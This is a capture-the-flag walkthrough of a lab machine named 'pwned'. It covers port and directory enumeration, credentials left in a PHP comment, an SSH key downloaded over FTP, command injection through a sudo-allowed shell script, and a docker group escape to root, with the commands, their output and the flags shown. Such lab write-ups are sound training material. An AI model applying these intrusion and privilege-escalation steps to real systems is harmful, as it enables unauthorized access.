pwned
scan
~❯ rustscan -a 192.168.0.110...
PORT STATE SERVICE REASON21/tcp open ftp syn-ack22/tcp open ssh syn-ack53/tcp open domain syn-ack80/tcp open http syn-ackweb
<h1> vanakam nanba (Hello friend) </h1>
A last note from Attacker :)
I am Annlynn. I am the hacker hacked your server with your employees but they don't know how i used them. Now they worry about this. Before finding me investigate your employees first. (LOL) then find me Boomers XD..!!
<!-- I forgot to add this on last note You are pretty smart as i thought so here i left it for you She sings very well. l loved it -->
Annlynndir
❯ gobuster dir -u http://192.168.0.110 -w ctf/tool/dic/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt.../nothing (Status: 301) [Size: 316] [--> http://192.168.0.110/nothing/]/server-status (Status: 403) [Size: 278]/hidden_text (Status: 301) [Size: 320] [--> http://192.168.0.110/hidden_text/]...
http://192.168.0.110/hidden_text/secret.dic
/hacked/vanakam_nanba/hackerman.gif/facebook/whatsapp/instagram/pwned/pwned.com/pubg/cod/fortnite/youtube/kali.org/hacked.vuln/users.vuln/passwd.vuln/pwned.vuln/backup.vuln/.ssh/root/home
❯ gobuster dir -u http://192.168.0.110 -w tmp/pwned.vuln (Status: 301) [Size: 319] [--> http://192.168.0.110/pwned.vuln/]...view-source:http://192.168.0.110/pwned.vuln/
<?php// if (isset($_POST['submit'])) {// $un=$_POST['username'];// $pw=$_POST['password'];//// if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {// echo "welcome"// exit();// }// else// echo "Invalid creds"// }?>
ftpuserB0ss_B!TcHlogin ftp
❯ ftp 192.168.0.110...ftp> dir200 PORT command successful. Consider using PASV.150 Here comes the directory listing.drwxr-xr-x 2 0 0 4096 Jul 10 2020 share226 Directory send OK.ftp> cd share250 Directory successfully changed.ftp> dir200 PORT command successful. Consider using PASV.150 Here comes the directory listing.-rw-r--r-- 1 0 0 2602 Jul 09 2020 id_rsa-rw-r--r-- 1 0 0 75 Jul 09 2020 note.txt226 Directory send OK.ftp> get id_rsa200 PORT command successful. Consider using PASV.150 Opening BINARY mode data connection for id_rsa (2602 bytes).226 Transfer complete.2602 bytes received in 0.0064 seconds (397.2097 kbytes/s)ftp> get note.txt200 PORT command successful. Consider using PASV.150 Opening BINARY mode data connection for note.txt (75 bytes).226 Transfer complete.75 bytes received in 0.0064 seconds (11.4952 kbytes/s)ftp> quit221 Goodbye.
❯ cat note.txt
Wow you are here
ariana won't happy about this note
sorry ariana :(
arianassh ariana
❯ ssh ariana@192.168.0.110 -i id_rsaLinux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extentpermitted by applicable law.Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70ariana@pwned:~$ ls -latotal 40drwxrwx--- 4 ariana ariana 4096 Jul 10 2020 .drwxr-xr-x 5 root root 4096 Jul 10 2020 ..-rw-r--r-- 1 ariana ariana 142 Jul 10 2020 ariana-personal.diary-rw------- 1 ariana ariana 4 Jul 10 2020 .bash_history-rw-r--r-- 1 ariana ariana 220 Jul 4 2020 .bash_logout-rw-r--r-- 1 ariana ariana 3526 Jul 4 2020 .bashrcdrwxr-xr-x 3 ariana ariana 4096 Jul 6 2020 .local-rw-r--r-- 1 ariana ariana 807 Jul 4 2020 .profile100 collapsed lines
drwx------ 2 ariana ariana 4096 Jul 9 2020 .ssh-rw-r--r-- 1 ariana ariana 143 Jul 10 2020 user1.txtariana@pwned:~$ cat user1.txtcongratulations you Pwned ariana
Here is your user flag ↓↓↓↓↓↓↓
fb8d98be1265dd88bac522e1b2182140
Try harder.need become root
ariana@pwned:~$ cat ariana-personal.diaryIts Ariana personal Diary :::
Today Selena fight with me for Ajay. so i opened her hidden_text on server. now she resposible for the issue.
$ sudo -lMatching Defaults entries for ariana on pwned: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ariana may run the following commands on pwned: (selena) NOPASSWD: /home/messenger.sh
$ cat /home/messenger.sh#!/bin/bash
clearecho "Welcome to linux.messenger " echo ""users=$(cat /etc/passwd | grep home | cut -d/ -f 3) echo ""echo "$users" echo ""read -p "Enter username to send message : " name echo ""read -p "Enter message for $name :" msg echo ""echo "Sending message to $name "
$msg 2> /dev/null
echo ""echo "Message sent to $name :) " echo ""
$ sudo -u selena /home/messenger.sh'alacritty': unknown terminal type.Welcome to linux.messenger
ariana:selena:ftpuser:
Enter username to send message : selena
Enter message for selena :/bin/bash
iduid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
python3 -c "import pty; pty.spawn('/bin/bash');"selena@pwned:/home/ariana$
selena@pwned:~$ cat user2.txt selena-personal.diary711fdfc6caad532815a440f7f295c176
You are near to me. you found selena too.
Try harder to catch meIts Selena personal Diary :::
Today Ariana fight with me for Ajay. so i left her ssh key on FTP. now she resposible for the leak.
selena@pwned:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh# iduid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)# cd# ls -latotal 28drwx------ 3 root root 4096 Jul 10 2020 .drwxr-xr-x 18 root root 4096 Jul 6 2020 ..-rw------- 1 root root 292 Jul 10 2020 .bash_history-rw-r--r-- 1 root root 601 Jul 6 2020 .bashrcdrwxr-xr-x 3 root root 4096 Jul 4 2020 .local-rw-r--r-- 1 root root 148 Aug 17 2015 .profile-rw-r--r-- 1 root root 429 Jul 10 2020 root.txt# cat root.txt4d4098d64e163d2726959455d046fd7c
You found me. i dont't expect this (◎ . ◎)
I am Ajay (Annlynn) i hacked your server left and this for you.
I trapped Ariana and Selena to takeover your server :)
You Pwned the Pwned congratulations :)
share the screen shot or flags to given contact details for confirmation
Telegram https://t.me/joinchat/NGcyGxOl5slf7_Xt0kTr7g
Instgarm ajs_walker
Twitter Ajs_walker